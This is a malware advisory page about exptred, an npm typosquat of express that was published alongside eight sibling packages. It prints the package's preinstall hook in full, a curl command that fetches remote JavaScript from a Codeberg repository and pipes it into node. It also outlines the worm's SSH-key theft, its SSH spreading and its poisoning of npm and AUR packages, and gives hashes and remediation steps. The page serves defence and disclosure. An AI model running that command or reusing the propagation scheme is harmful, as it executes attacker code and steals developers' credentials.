Which versions of exptred are malicious?

The following npm versions of exptred are flagged malicious: 5.2.1, 5.2.2. Treat any of these as compromised.

How do I remediate exptred if I installed it?

exptred is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed exptred — how do I know if it already compromised me?

If exptred was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is exptred part of a known attack campaign?

Yes — exptred is associated with the IN-MAL-2026-020628, IN-MAL-2026-020877 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exptred across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for exptred (2 malicious versions).

Malicious package

exptrednpm

Advisory published Sep 29, 2026Updated Oct 5, 2026

exptred is a confirmed malicious npm package (MAL-2026-17246) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exptred (npm)

MAL-2026-17246

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exptred

What this malware does

The package exptred impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

npm package [email protected] is a typosquat of express: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a preinstall lifecycle script that pipes remote JavaScript into node: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node. On npm install, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.

Malicious versions

2 flagged

5.2.15.2.2

Indicators of compromise (SHA-256)

d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7

b59c3f47f3b756b87f4f6d0d4623ffd8bf75059a558c133ae6404408906749e0

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for exptred (2 malicious versions).
If you installed it — respond
exptred is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If exptred was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. exptred on npm has been identified as a malicious package (versions 5.2.1, 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020628IN-MAL-2026-020877

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder
Pranesh, InvisiRisk · finder
SafeDep · finder

Detect & block this

O3 blocks exptred-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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